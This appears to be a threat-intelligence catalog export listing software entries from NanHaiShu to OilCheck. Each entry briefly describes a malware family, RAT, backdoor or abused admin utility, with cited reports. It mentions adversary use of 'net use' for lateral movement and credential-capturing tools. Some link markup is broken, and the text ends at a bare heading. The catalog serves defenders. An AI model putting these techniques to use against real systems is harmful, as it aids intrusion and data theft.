[NanHaiShu](https://app.tidalcyber.com/software/0e28dfc9-8948-4c08-b7d8-9e80e19cc464) is a remote access tool and JScript backdoor used by [Leviathan](https://app.tidalcyber.com/groups/eadd78e3-3b5d-430a-b994-4360b172c871). [NanHaiShu](https://app.tidalcyber.com/software/0e28dfc9-8948-4c08-b7d8-9e80e19cc464) has been used to target government and private-sector organizations that have relations to the South China Sea dispute. ^{[[Proofpoint Leviathan Oct 2017](https://app.tidalcyber.com/references/f8c2b67b-c097-4b48-8d95-266a45b7dd4d)]} ^{[[fsecure NanHaiShu July 2016](https://app.tidalcyber.com/references/41984650-a0ac-4445-80b6-7ceaf93bd135)]}

The tag is: *misp-galaxy:software="NanHaiShu"*

NanoCore

[NanoCore](https://app.tidalcyber.com/software/db05dbaa-eb3a-4303-b37e-18d67e7e85a1) is a modular remote access tool developed in .NET that can be used to spy on victims and steal information. It has been used by threat actors since 2013.^{[[DigiTrust NanoCore Jan 2017](https://app.tidalcyber.com/references/6abac972-bbd0-4cd2-b3a7-25e7825ac134)]}<sup>[[Cofense NanoCore Mar 2018](https://app.tidalcyber.com/references/

de31ba54-5634-48c5-aa57-c6b0dbb53870)]</sup>^{[[PaloAlto NanoCore Feb 2016](https://app.tidalcyber.com/references/caa0a421-04b0-4ebc-b365-97082d69d33d)]}^{[[Unit 42 Gorgon Group Aug 2018](https://app.tidalcyber.com/references/d0605185-3f8d-4846-a718-15572714e15b)]}

The tag is: *misp-galaxy:software="NanoCore"*

NativeZone

[NativeZone](https://app.tidalcyber.com/software/a814fd1d-8c2c-41b3-bb3a-30c4318c74c0) is the name given collectively to disposable custom [Cobalt Strike](https://app.tidalcyber.com/software/9b6bcbba-3ab4-4a4c-a233-cd12254823f6) loaders used by [APT29](https://app.tidalcyber.com/groups/4c3e48b9-4426-4271-a7af-c3dfad79f447) since at least 2021.^{[[MSTIC Nobelium Toolset May 2021](https://app.tidalcyber.com/references/52464e69-ff9e-4101-9596-dd0c6404bf76)]}^{[[SentinelOne NobleBaron June 2021](https://app.tidalcyber.com/references/98cf2bb0-f36c-45af-8d47-bf26aca3bb09)]}

The tag is: *misp-galaxy:software="NativeZone"*

NavRAT

[NavRAT](https://app.tidalcyber.com/software/b410d30c-4db6-4239-950e-9b0e0521f0d2) is a remote access tool designed to upload, download, and execute files. It has been observed in attacks targeting South Korea. ^{[[Talos NavRAT May 2018](https://app.tidalcyber.com/references/f644ac27-a923-489b-944e-1ba89c609307)]}

The tag is: *misp-galaxy:software="NavRAT"*

NBTscan

[NBTscan](https://app.tidalcyber.com/software/950f13e6-3ae3-411e-a2b2-4ba1afe6cb76) is an open source tool that has been used by state groups to conduct internal reconnaissance within a compromised network.^{[[Debian nbtscan Nov 2019](https://app.tidalcyber.com/references/8d718be1-9695-4e61-a922-5162d88477c0)]}^{[[SecTools nbtscan June 2003](https://app.tidalcyber.com/references/505c9e8b-66e0-435c-835f-b4405ba91966)]}^{[[Symantec Waterbug Jun 2019](https://app.tidalcyber.com/references/ddd5c2c9-7126-4b89-b415-dc651a2ccc0e)]}^{[[FireEye APT39 Jan 2019](https://app.tidalcyber.com/references/ba366cfc-cc04-41a5-903b-a7bb73136bc3)]}

The tag is: *misp-galaxy:software="NBTscan"*

nbtstat

[nbtstat](https://app.tidalcyber.com/software/81c2fc9b-8c2c-40f6-a327-dcdd64b70a7e) is a utility used to troubleshoot NetBIOS name resolution. ^{[[TechNet Nbtstat](https://app.tidalcyber.com/references/1b1e6b08-fc2a-48f7-82bd-e3c1a7a0d97e)]}

The tag is: *misp-galaxy:software="nbtstat"*

NDiskMonitor

[NDiskMonitor](https://app.tidalcyber.com/software/6d42e6c5-3056-4ff1-8d5d-a736807ec84c) is a custom backdoor written in .NET that appears to be unique to [Patchwork](https://app.tidalcyber.com/groups/32385eba-7bbf-439e-acf2-83040e97165a). ^{[[TrendMicro Patchwork Dec 2017](https://app.tidalcyber.com/references/15465b26-99e1-4956-8c81-cda3388169b8)]}

The tag is: *misp-galaxy:software="NDiskMonitor"*

Nebulae

[Nebulae](https://app.tidalcyber.com/software/38510bab-aece-4d7b-b621-7594c2c4fe14) Is a backdoor that has been used by [Naikon](https://app.tidalcyber.com/groups/a80c00b2-b8b6-4780-99bb-df8fe921947d) since at least 2020.^{[[Bitdefender Naikon April 2021](https://app.tidalcyber.com/references/55660913-4c03-4360-bb8b-1cad94bd8d0e)]}

The tag is: *misp-galaxy:software="Nebulae"*

Neoichor

[Neoichor](https://app.tidalcyber.com/software/8662e29e-5766-4311-894e-5ca52515ccbe) is C2 malware used by [Ke3chang](https://app.tidalcyber.com/groups/26c0925f-1a3c-4df6-b27a-62b9731299b8) since at least 2019; similar malware families used by the group include Leeson and Numbldea.^{[[Microsoft NICKEL December 2021](https://app.tidalcyber.com/references/29a46bb3-f514-4554-ad9c-35f9a5ad9870)]}

The tag is: *misp-galaxy:software="Neoichor"*

Neo-reGeorg

[Neo-reGeorg](https://app.tidalcyber.com/software/33939793-a1d5-5673-8762-313d1cbe0635) is an open-source web shell designed as a restructuring of [reGeorg](https://app.tidalcyber.com/software/7e92e30b-9eb1-52fc-9bf8-8c3b168910c5) with improved usability, security, and fixes for exising [reGeorg](https://app.tidalcyber.com/software/7e92e30b-9eb1-52fc-9bf8-8c3b168910c5) bugs.^{[[GitHub Neo-reGeorg 2019](https://app.tidalcyber.com/references/10443655-e81a-52fb-9862-bb6d6abb1dd5)]}

The tag is: *misp-galaxy:software="Neo-reGeorg"*

Nerex

[Nerex](https://app.tidalcyber.com/software/de8b18c9-ebab-4126-96a9-282fa8829877) is a Trojan used by [Elderwood](https://app.tidalcyber.com/groups/51146bb6-7478-44a3-8f08-19adcdceffca) to open a backdoor on compromised hosts. ^{[[Symantec Elderwood Sept 2012](https://app.tidalcyber.com/references/5e908748-d260-42f1-a599-ac38b4e22559)]} <sup>[[Symantec Nerex May 2012](https://app.tidalcyber.com/references/1613fd6b-4d62-464b-9cda-

6f7d3f0192e1)]</sup>

The tag is: *misp-galaxy:software="Nerex"*

Net

The [Net](https://app.tidalcyber.com/software/c9b8522f-126d-40ff-b44e-1f46098bd8cc) utility is a component of the Windows operating system. It is used in command-line operations for control of users, groups, services, and network connections. ^{[[Microsoft Net Utility](https://app.tidalcyber.com/references/75998d1c-69c0-40d2-a64b-43ad8efa05da)]}

[Net](https://app.tidalcyber.com/software/c9b8522f-126d-40ff-b44e-1f46098bd8cc) has a great deal of functionality, ^{[[Savill 1999](https://app.tidalcyber.com/references/e814d4a5-b846-4d68-ac00-7021238d287a)]} much of which is useful for an adversary, such as gathering system and network information for Discovery, moving laterally through [SMB/Windows Admin Shares](https://app.tidalcyber.com/technique/bc2f2c6c-ffe7-4e78-bbac-369f6781bbdd) using <code>net use</code> commands, and interacting with services. The net1.exe utility is executed for certain functionality when net.exe is run and can be used directly in commands such as <code>net1 user</code>.

The tag is: *misp-galaxy:software="Net"*

Net Crawler

[Net Crawler](https://app.tidalcyber.com/software/947c6212-4da8-48dd-9da9-ce4b077dd759) is an intranet worm capable of extracting credentials using credential dumpers and spreading to systems on a network over SMB by brute forcing accounts with recovered passwords and using [PsExec](https://app.tidalcyber.com/software/73eb32af-4bd3-4e21-8048-355edc55a9c6) to execute a copy of [Net Crawler](https://app.tidalcyber.com/software/947c6212-4da8-48dd-9da9-ce4b077dd759). ^{[[Cylance Cleaver](https://app.tidalcyber.com/references/f0b45225-3ec3-406f-bd74-87f24003761b)]}

The tag is: *misp-galaxy:software="Net Crawler"*

NETEAGLE

[NETEAGLE](https://app.tidalcyber.com/software/852c300d-9313-442d-9b49-9883522c3f4b) is a backdoor developed by [APT30](https://app.tidalcyber.com/groups/be45ff95-6c74-4000-bc39-63044673d82f) with compile dates as early as 2008. It has two main variants known as “Scout” and “Norton.” ^{[[FireEye APT30](https://app.tidalcyber.com/references/c48d2084-61cf-4e86-8072-01e5d2de8416)]}

The tag is: *misp-galaxy:software="NETEAGLE"*

netsh

[netsh](https://app.tidalcyber.com/software/803192b8-747b-4108-ae15-2d7481d39162) is a scripting utility used to interact with networking components on local or remote systems. <sup>[[TechNet

Netsh](https://app.tidalcyber.com/references/58112a3a-06bd-4a46-8a09-4dba5f42a04f)]</sup>

The tag is: *misp-galaxy:software="netsh"*

netstat

[netstat](https://app.tidalcyber.com/software/132fb908-9f13-4bcf-aa64-74cbc72f5491) is an operating system utility that displays active TCP connections, listening ports, and network statistics. ^{[[TechNet Netstat](https://app.tidalcyber.com/references/84ac26d8-9c7c-4c8c-bf64-a9fb4578388c)]}

The tag is: *misp-galaxy:software="netstat"*

NetSupport

NetSupport is a legitimate utility that has been long-used for remote management and monitoring (RMM) purposes. In recent years, it has been heavily abused by threat actors for maintaining persistent remote access to victim systems.^{[[The DFIR Report NetSupport October 30 2023](/references/0436db31-42f0-47c1-b9a9-c6bb7c60a1ec)]}

The tag is: *misp-galaxy:software="NetSupport"*

NetTraveler

[NetTraveler](https://app.tidalcyber.com/software/1b8f9cf9-db8f-437d-800e-5ddd090fe30d) is malware that has been used in multiple cyber espionage campaigns for basic surveillance of victims. The earliest known samples have timestamps back to 2005, and the largest number of observed samples were created between 2010 and 2013. ^{[[Kaspersky NetTraveler](https://app.tidalcyber.com/references/a7d4b322-3710-436f-bd51-e5c258073dba)]}

The tag is: *misp-galaxy:software="NetTraveler"*

Netwalker

[Netwalker](https://app.tidalcyber.com/software/5b4b395f-f61a-4bd6-94c1-fb45ed3cd13d) is fileless ransomware written in PowerShell and executed directly in memory.^{[[TrendMicro Netwalker May 2020](https://app.tidalcyber.com/references/ceda9ef6-e609-4a34-9db1-d2a3ebffb679)]}

The tag is: *misp-galaxy:software="Netwalker"*

NETWIRE

[NETWIRE](https://app.tidalcyber.com/software/c7d0e881-80a1-49ea-9c1f-b6e53cf399a8) is a publicly available, multiplatform remote administration tool (RAT) that has been used by criminal and APT groups since at least 2012.^{[[FireEye APT33 Sept 2017](https://app.tidalcyber.com/references/70610469-db0d-45ab-a790-6e56309a39ec)]}<sup>[[McAfee Netwire Mar 2015](https://app.tidalcyber.com/references/b02fbf00-f571-4507-941d-

ac1d4a8310b0)]</sup>^{[[FireEye APT33 Webinar Sept 2017](https://app.tidalcyber.com/references/9b378592-5737-403d-8a07-27077f5b2d61)]}

The tag is: *misp-galaxy:software="NETWIRE"*

Network Scanner

Network Scanner (NS.exe) is a utility that can be used to enumerate file shares within a given environment.^{[[The DFIR Report Dharma Ransomware June 2020](/references/b1002e9a-020d-4224-bf60-0c2a66d511f2)]}

The tag is: *misp-galaxy:software="Network Scanner"*

nex

nex is a library that aims to simplify the construction of JSON API service, nex.Handler is able to wrap any function to adapt the interface of http.Handler, which unmarshals POST data to a struct automatically.^{[[GitHub September 12 2016](/references/d0e66686-c7c8-4f5c-8194-794ebb3667d7)]}

The tag is: *misp-galaxy:software="nex"*

Ngen

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Microsoft Native Image Generator.

Author: Avihay Eldad

Paths: * C:\Windows\Microsoft.NET\Framework\v2.0.50727\ngen.exe * C:\Windows\Microsoft.NET\Framework64\v2.0.50727\ngen.exe * C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe * C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe

Resources: None Provided

Detection: None Provided^{[[Ngen.exe - LOLBAS Project](/references/98e9f234-6ea9-4e2a-8828-2e6e6916d7f1)]}

The tag is: *misp-galaxy:software="Ngen"*

NGLite

[NGLite](https://app.tidalcyber.com/software/48b161fe-3ae1-5551-9f26-d6f2d6b5afb9) is a backdoor Trojan that is only capable of running commands received through its C2 channel. While the

capabilities are standard for a backdoor, NGLite uses a novel C2 channel that leverages a decentralized network based on the legitimate NKN to communicate between the backdoor and the actors.^{[[NGLite Trojan](https://app.tidalcyber.com/references/7cdd99d2-bbb2-5c81-ad09-92b581f33ffe)]}

The tag is: *misp-galaxy:software="NGLite"*

ngrok

[ngrok](https://app.tidalcyber.com/software/316ecd9d-ac0b-58c7-8083-5d9214c770f6) is a legitimate reverse proxy tool that can create a secure tunnel to servers located behind firewalls or on local machines that do not have a public IP. [ngrok](https://app.tidalcyber.com/software/316ecd9d-ac0b-58c7-8083-5d9214c770f6) has been leveraged by threat actors in several campaigns including use for lateral movement and data exfiltration.^{[[Zdnet Ngrok September 2018](https://app.tidalcyber.com/references/3edb88be-2ca6-4925-ba2e-a5a4ac5f9ab0)]}^{[[FireEye Maze May 2020](https://app.tidalcyber.com/references/02338a66-6820-4505-8239-a1f1fcc60d32)]}^{[[Cyware Ngrok May 2019](https://app.tidalcyber.com/references/583a01b6-cb4e-41e7-aade-ac2fd19bda4e)]}^{[[MalwareBytes LazyScripter Feb 2021](https://app.tidalcyber.com/references/078837a7-82cd-4e26-9135-43b612e911fe)]}

The tag is: *misp-galaxy:software="ngrok"*

NICECURL

[NICECURL](https://app.tidalcyber.com/software/98b223ca-b7f9-5ed2-8348-3a4caaced031) is a VBScript-based backdoor used by [APT42](https://app.tidalcyber.com/groups/c4336f3a-1902-5eb1-8ad1-204da1267dcc) to download additional modules.^{[[Mandiant APT42-untangling](https://app.tidalcyber.com/references/64b19eab-8190-5e22-89a0-f7555f9f7fa2)]}

The tag is: *misp-galaxy:software="NICECURL"*

NICECURL (Deprecated)

We are no longer maintaining this object in favor of a similar object subsequently published by MITRE: "NICECURL" (Software). All relevant Tidal content extensions (e.g. additional Technique and Object relationships and metadata) have been added to the MITRE-authored object.

NICECURL is a custom backdoor developed and used by Iranian espionage group APT42. It is usually delivered via phishing attacks and serves as a post-compromise command execution and malware ingress capability.^{[[Mandiant Uncharmed May 1 2024](/references/84c0313a-bea1-44a7-9396-8e12437852d1)]}

The tag is: *misp-galaxy:software="NICECURL (Deprecated)"*

Nidiran

[Nidiran](https://app.tidalcyber.com/software/3ae9acd7-39f8-45c6-b557-c7d9a40eed2c) is a custom backdoor developed and used by [Suckfly](https://app.tidalcyber.com/groups/06549082-ff70-43bf-985e-88c695c7113c). It has been delivered via strategic web compromise. ^{[[Symantec Suckfly March 2016](https://app.tidalcyber.com/references/8711c175-e405-4cb0-8c86-8aaa471e5573)]}

The tag is: *misp-galaxy:software="Nidiran"*

NightClub

[NightClub](https://app.tidalcyber.com/software/b1963876-dbdc-5beb-ace3-acb6d7705543) is a modular implant written in C++ that has been used by [MoustachedBouncer](https://app.tidalcyber.com/groups/f31df12e-66ea-5a49-87bc-2bc1756a89fc) since at least 2014.^{[[MoustachedBouncer ESET August 2023](https://app.tidalcyber.com/references/9070f14b-5d5e-5f6d-bcac-628478e01242)]}

The tag is: *misp-galaxy:software="NightClub"*

Nightdoor

[Nightdoor](https://app.tidalcyber.com/software/858084e7-41ba-53f8-b530-0286bf4ea764) is a backdoor exclusively associated with [Daggerfly](https://app.tidalcyber.com/groups/f0dab388-1641-50aa-b0b2-6bdb816e0490) operations. [Nightdoor](https://app.tidalcyber.com/software/858084e7-41ba-53f8-b530-0286bf4ea764) uses common libraries with [MgBot](https://app.tidalcyber.com/software/df390ec3-6557-524d-8a89-3fceff24ca96) and [MacMa](https://app.tidalcyber.com/software/7e5a643d-ebfd-4ec6-9fdc-79d6f47fafdb), linking these malware families together.^{[[ESET EvasivePanda 2024](https://app.tidalcyber.com/references/07e6b866-7119-50ad-8a6e-80c4e0d594bf)]}^{[[Symantec Daggerfly 2024](https://app.tidalcyber.com/references/1dadd09e-e7b0-50a1-ba3d-413780dbeb80)]}

The tag is: *misp-galaxy:software="Nightdoor"*

Ninja

[Ninja](https://app.tidalcyber.com/software/2dd26ff0-22d6-591b-9054-78e84fa3e05c) is a malware developed in C++ that has been used by [ToddyCat](https://app.tidalcyber.com/groups/0f41da7d-1e47-58fe-ba6e-ee658a985e1b) to penetrate networks and control remote systems since at least 2020. [Ninja](https://app.tidalcyber.com/software/2dd26ff0-22d6-591b-9054-78e84fa3e05c) is possibly part of a post exploitation toolkit exclusively used by [ToddyCat](https://app.tidalcyber.com/groups/0f41da7d-1e47-58fe-ba6e-ee658a985e1b) and allows multiple operators to work simultaneously on the same machine. [Ninja](https://app.tidalcyber.com/software/2dd26ff0-22d6-591b-9054-78e84fa3e05c) has been used against government and military entities in Europe and Asia and observed in specific infection chains being deployed by [Samurai]([Kaspersky ToddyCat June 2022](https://app.tidalcyber.com/references/285c038b-e5fc-57ef-9a98-d9e24c52e2cf)]</sup>

The tag is: *misp-galaxy:software="Ninja"*

NinjaRMM

NinjaOne (formerly NinjaRMM) is a remote monitoring and management ("RMM") tool that adversaries such as Storm-0501 have abused for command and control and persistence purposes.^{[[Microsoft Security Blog September 26 2024](/references/bf05138b-f690-4b0f-ba10-9af71f7d9bfc)]}

The tag is: *misp-galaxy:software="NinjaRMM"*

NirSoft

NirSoft is a self-described "freeware" utility that can be used to recover passwords.^{[[NirSoft Website](/references/024e4e25-aab7-4231-bb4b-5e399d02d7b2)]} According to U.S. cybersecurity authorities, ransomware actors such as those associated with the Royal ransomware operation have used the NirSoft utility to harvest passwords for malicious purposes.^{[[#StopRansomware: Royal Ransomware | CISA](/references/dd094572-da2e-4e54-9e54-b243dd4fcd2b)]}

The tag is: *misp-galaxy:software="NirSoft"*

njRAT

[njRAT](https://app.tidalcyber.com/software/82996f6f-0575-45cd-8f7c-ba1b063d5b9f) is a remote access tool (RAT) that was first observed in 2012. It has been used by threat actors in the Middle East.^{[[Fidelis njRAT June 2013](https://app.tidalcyber.com/references/6c985470-a923-48fd-82c9-9128b6d59bcb)]}

The tag is: *misp-galaxy:software="njRAT"*

NKAbuse

[NKAbuse](https://app.tidalcyber.com/software/e26988e0-e755-54a4-8234-e8f961266d82) is a Go-based, multi-platform malware abusing NKN (New Kind of Network) technology for data exchange between peers, functioning as a potent implant, and equipped with both flooder and backdoor capabilities.^{[[NKAbuse BC](https://app.tidalcyber.com/references/7c0fea50-a125-57eb-9a86-dd0d6693abce)]}^{[[NKAbuse SL](https://app.tidalcyber.com/references/96e199f8-1d33-574f-a507-05303db728e1)]}

The tag is: *misp-galaxy:software="NKAbuse"*

Nltest

[Nltest](https://app.tidalcyber.com/software/fbb1546a-f288-4e43-9e5c-14c94423c4f6) is a Windows command-line utility used to list domain controllers and enumerate domain trusts.^{[[Nltest Manual](https://app.tidalcyber.com/references/4bb113a8-7e2c-4656-86f4-c30b08705ffa)]}

The tag is: *misp-galaxy:software="Nltest"*

Nmap

According to its project website, "Nmap ("Network Mapper") is a free and open source utility for network discovery and security auditing".^{[[Nmap: the Network Mapper](/references/65f1bbaa-8ad1-4ad5-b726-660558d27efc)]}

The tag is: *misp-galaxy:software="Nmap"*

NOKKI

[NOKKI](https://app.tidalcyber.com/software/31aa0433-fb6b-4290-8af5-a0d0c6c18548) is a modular remote access tool. The earliest observed attack using [NOKKI](https://app.tidalcyber.com/software/31aa0433-fb6b-4290-8af5-a0d0c6c18548) was in January 2018. [NOKKI](https://app.tidalcyber.com/software/31aa0433-fb6b-4290-8af5-a0d0c6c18548) has significant code overlap with the [KONNI](https://app.tidalcyber.com/software/d381de2a-30cb-4d50-bbce-fd1e489c4889) malware family. There is some evidence potentially linking [NOKKI](https://app.tidalcyber.com/software/31aa0433-fb6b-4290-8af5-a0d0c6c18548) to [APT37]([Unit 42 NOKKI Sept 2018 (https://app.tidalcyber.com/references/f3d3b9bc-4c59-4a1f-b602-e3e884661708)]</sup>^{[[Unit 42 Nokki Oct 2018](https://app.tidalcyber.com/references/4eea6638-a71b-4d74-acc4-0fac82ef72f6)]}

The tag is: *misp-galaxy:software="NOKKI"*

NotPetya

[NotPetya](https://app.tidalcyber.com/software/2538e0fe-1290-4ae1-aef9-e55d83c9eb23) is malware that was used by [Sandworm Team](https://app.tidalcyber.com/groups/16a65ee9-cd60-4f04-ba34-f2f45fcfc666) in a worldwide attack starting on June 27, 2017. While [NotPetya](https://app.tidalcyber.com/software/2538e0fe-1290-4ae1-aef9-e55d83c9eb23) appears as a form of ransomware, its main purpose was to destroy data and disk structures on compromised systems; the attackers never intended to make the encrypted data recoverable. As such, [NotPetya](https://app.tidalcyber.com/software/2538e0fe-1290-4ae1-aef9-e55d83c9eb23) may be more appropriately thought of as a form of wiper malware. [NotPetya](https://app.tidalcyber.com/software/2538e0fe-1290-4ae1-aef9-e55d83c9eb23) contains worm-like features to spread itself across a computer network using the SMBv1 exploits EternalBlue and EternalRomance.^{[[Talos Nyetya June 2017](https://app.tidalcyber.com/references/c76e806c-b0e3-4ab9-ba6d-68a9f731f127)]}^{[[US-CERT NotPetya 2017](https://app.tidalcyber.com/references/6a009850-834b-4178-9028-2745921b6743)]}^{[[ESET Telebots June 2017](https://app.tidalcyber.com/references/eb5c2951-b149-4e40-bc5f-b2630213eb8b)]}^{[[US District Court Indictment GRU Unit 74455 October 2020](https://app.tidalcyber.com/references/77788d05-30ff-4308-82e6-d123a3c2fd80)]}

The tag is: *misp-galaxy:software="NotPetya"*

Npcap

According to its project website, "Npcap is the Nmap Project's packet capture (and sending) library for Microsoft Windows".^{[[Npcap: Windows Packet Capture Library & Driver](/references/c8dc5650-eb37-4bb6-b5b7-e6269c79785c)]} Nmap is a utility used for network discovery and security auditing.

The tag is: *misp-galaxy:software="Npcap"*

NPPSPY

NPPSPY is an implementation of a theoretical mechanism first presented in 2004 for capturing credentials submitted to a Windows system via a rogue Network Provider API item. NPPSPY captures credentials following submission and writes them to a file on the victim system for follow-on exfiltration.^{[[Huntress NPPSPY 2022](https://app.tidalcyber.com/references/833c22ac-4f65-521a-9eda-8d22e255577e)]}^{[[Polak NPPSPY 2004](https://app.tidalcyber.com/references/ab5872b0-a755-5d85-8750-0b22f00ccb37)]}

The tag is: *misp-galaxy:software="NPPSPY"*

Ntdsutil

Ntdsutil is a Windows command-line tool "that provides management facilities for Active Directory Domain Services (AD DS) and Active Directory Lightweight Directory Services (AD LDS)."^{[[Ntdsutil Microsoft](/references/34de2f08-0481-4894-80ef-86506d821cf0)]}

The tag is: *misp-galaxy:software="Ntdsutil"*

Nuitka

Nuitka is a seamless replacement or extension to the Python interpreter and compiles every construct that CPython 2.6, 2.7, 3.3, 3.4, 3.5, 3.6, 3.7, 3.8, 3.9, 3.10 have, when itself run with that Python version. It then executes uncompiled code and compiled code together in an extremely compatible manner.^{[[Cyble July 14 2022](/references/f23b79ca-2108-4096-8fc9-a2d6e9029f06)]}^{[[GitHub April 23 2013](/references/afb66212-8cbb-4c5d-8a85-027275c5cb01)]}^{[[Trend Micro March 30 2023](/references/e78b7c32-9b1d-4d5e-8f38-6d6778ee056b)]}

The tag is: *misp-galaxy:software="Nuitka"*

ObliqueRAT

[ObliqueRAT](https://app.tidalcyber.com/software/97e8148c-e146-444c-9de5-6e2fdbda2f9f) is a remote access trojan, similar to [Crimson](https://app.tidalcyber.com/software/3b3f296f-20a6-459a-98c5-62ebdee3701f), that has been in use by [Transparent Tribe](https://app.tidalcyber.com/groups/441b91d1-256a-4763-bac6-8f1c76764a25) since at least 2020.<sup>[[Talos Oblique RAT March 2021](https://app.tidalcyber.com/references/20e13efb-4ca1-43b2-83a6-

c852e03333d7)]</sup>^{[[Talos Transparent Tribe May 2021](https://app.tidalcyber.com/references/5d58c285-bc7d-4a8a-a96a-ac7118c1089d)]}

The tag is: *misp-galaxy:software="ObliqueRAT"*

OceanSalt

[OceanSalt](https://app.tidalcyber.com/software/f1723994-058b-4525-8e11-2f0c80d8f3a4) is a Trojan that was used in a campaign targeting victims in South Korea, United States, and Canada. [OceanSalt](https://app.tidalcyber.com/software/f1723994-058b-4525-8e11-2f0c80d8f3a4) shares code similarity with [SpyNote RAT](https://app.tidalcyber.com/software/), which has been linked to [APT1]([McAfee Oceansalt Oct 2018(https://app.tidalcyber.com/references/04b475ab-c7f6-4373-a4b0-04b5d8028f95)]</sup>

The tag is: *misp-galaxy:software="OceanSalt"*

Octopus

[Octopus](https://app.tidalcyber.com/software/8f04e609-8773-4529-b247-d32f530cc453) is a Windows Trojan written in the Delphi programming language that has been used by [Nomadic Octopus](https://app.tidalcyber.com/groups/5f8c6ee0-f302-403b-b712-f1e3df064c0c) to target government organizations in Central Asia since at least 2014.^{[[Securelist Octopus Oct 2018](https://app.tidalcyber.com/references/77407057-53f1-4fde-bc74-00f73d417f7d)]}^{[[Security Affairs DustSquad Oct 2018](https://app.tidalcyber.com/references/0e6b019c-cf8e-40a7-9e7c-6a7dc5309dc6)]}^{[[ESET Nomadic Octopus 2018](https://app.tidalcyber.com/references/50dcb3f0-1461-453a-aab9-38c2e259173f)]}

The tag is: *misp-galaxy:software="Octopus"*

ODAgent

[ODAgent](https://app.tidalcyber.com/software/cbfbd3c1-15ec-51a2-92f8-4d71bb7dc28e) is a C#/.NET downloader that has been used by [OilRig](https://app.tidalcyber.com/groups/d01abdb1-0378-4654-aa38-1a4a292703e2) since at least 2022 including against target organizations in Israel to download and execute payloads and to exfiltrate staged files.^{[[ESET OilRig Downloaders DEC 2023](https://app.tidalcyber.com/references/7f2e0dcb-43a6-59e6-bc44-d01ace24b154)]}

The tag is: *misp-galaxy:software="ODAgent"*

ODAgent (Deprecated)

We are no longer maintaining this object in favor of a similar object subsequently published by MITRE: "ODAgent" (Software). All relevant Tidal content extensions (e.g. additional Technique and Object relationships and metadata) have been added to the MITRE-authored object.

This is one of a series of malicious downloaders attributed to Iran-linked espionage actor OilRig, which were found to rely on legitimate cloud service providers for command and control

purposes.^{[[ESET OilRig December 14 2023](/references/f96b74d5-ff75-47c6-a9a2-b2f43db351bc)]}

The tag is: *misp-galaxy:software="ODAgent (Deprecated)"*

Odbcconf

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Used in Windows for managing ODBC connections

Author: Oddvar Moe

Paths: * C:\Windows\System32\odbcconf.exe * C:\Windows\SysWOW64\odbcconf.exe

Resources: * https://gist.github.com/NickTyrer/6ef02ce3fd623483137b45f65017352b * https://github.com/woanware/application-restriction-bypasses * https://www.hexacorn.com/blog/2020/08/23/odbcconf-lolbin-trifecta/

Detection: * Sigma: [proc_creation_win_odbcconf_response_file.yml](https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_odbcconf_response_file.yml) * Sigma: [proc_creation_win_odbcconf_response_file_susp.yml](https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_odbcconf_response_file_susp.yml) * Elastic: [defense_evasion_unusual_process_network_connection.toml](https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_process_network_connection.toml) * Elastic: [defense_evasion_network_connection_from_windows_binary.toml]([LOLBAS Odbcconf(/references/febcaaec-b535-4347-a4c7-b3284b251897)]</sup>

The tag is: *misp-galaxy:software="Odbcconf"*

OfflineScannerShell

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Windows Defender Offline Shell

Author: Elliot Killick

Paths: * C:\Program Files\Windows Defender\Offline\OfflineScannerShell.exe

Resources: None Provided

Detection: * Sigma: [proc_creation_win_lolbas_offlinescannershell.yml](https://github.com/SigmaHQ/sigma/blob/bea6f18d350d9c9fdc067f93dde0e9b11cc22dc2/rules/windows/process_creation/proc_creation_win_lolbas_offlinescannershell.yml) * IOC: OfflineScannerShell.exe should not be run on a normal workstation^{[[OfflineScannerShell.exe - LOLBAS Project](/references/8194442f-4f86-438e-bd0c-f4cbda0264b8)]}

The tag is: *misp-galaxy:software="OfflineScannerShell"*

OilBooster

[OilBooster](https://app.tidalcyber.com/software/9c16bf00-c22b-593d-8653-445722a16c5d) is a downloader written in Microsoft Visual C/C++ that has been used by [OilRig](https://app.tidalcyber.com/groups/d01abdb1-0378-4654-aa38-1a4a292703e2) since at least 2022 including against target organizations in Israel to download and execute files and for exfiltration.^{[[ESET OilRig Downloaders DEC 2023](https://app.tidalcyber.com/references/7f2e0dcb-43a6-59e6-bc44-d01ace24b154)]}

The tag is: *misp-galaxy:software="OilBooster"*

OilBooster (Deprecated)

We are no longer maintaining this object in favor of a similar object subsequently published by MITRE: "OilBooster" (Software). All relevant Tidal content extensions (e.g. additional Technique and Object relationships and metadata) have been added to the MITRE-authored object.

This is one of a series of malicious downloaders attributed to Iran-linked espionage actor OilRig, which were found to rely on legitimate cloud service providers for command and control purposes.^{[[ESET OilRig December 14 2023](/references/f96b74d5-ff75-47c6-a9a2-b2f43db351bc)]}

The tag is: *misp-galaxy:software="OilBooster (Deprecated)"*

OilCheck

[OilCheck](https://app.tidalcyber.com/software/694f53b5-a54e-5bc6-b58a-0c22771ea3a6) is a C#/.NET downloader that has been used by [OilRig](https://app.tidalcyber.com/groups/d01abdb1-0378-4654-aa38-1a4a292703e2) since at least 2022 including against targets in Israel. [OilCheck](https://app.tidalcyber.com/software/694f53b5-a54e-5bc6-b58a-0c22771ea3a6) uses draft messages created in a shared email account for C2 communication.^{[[ESET OilRig Downloaders DEC 2023](https://app.tidalcyber.com/references/7f2e0dcb-43a6-59e6-bc44-d01ace24b154)]}

The tag is: *misp-galaxy:software="OilCheck"*

OilCheck (Deprecated)

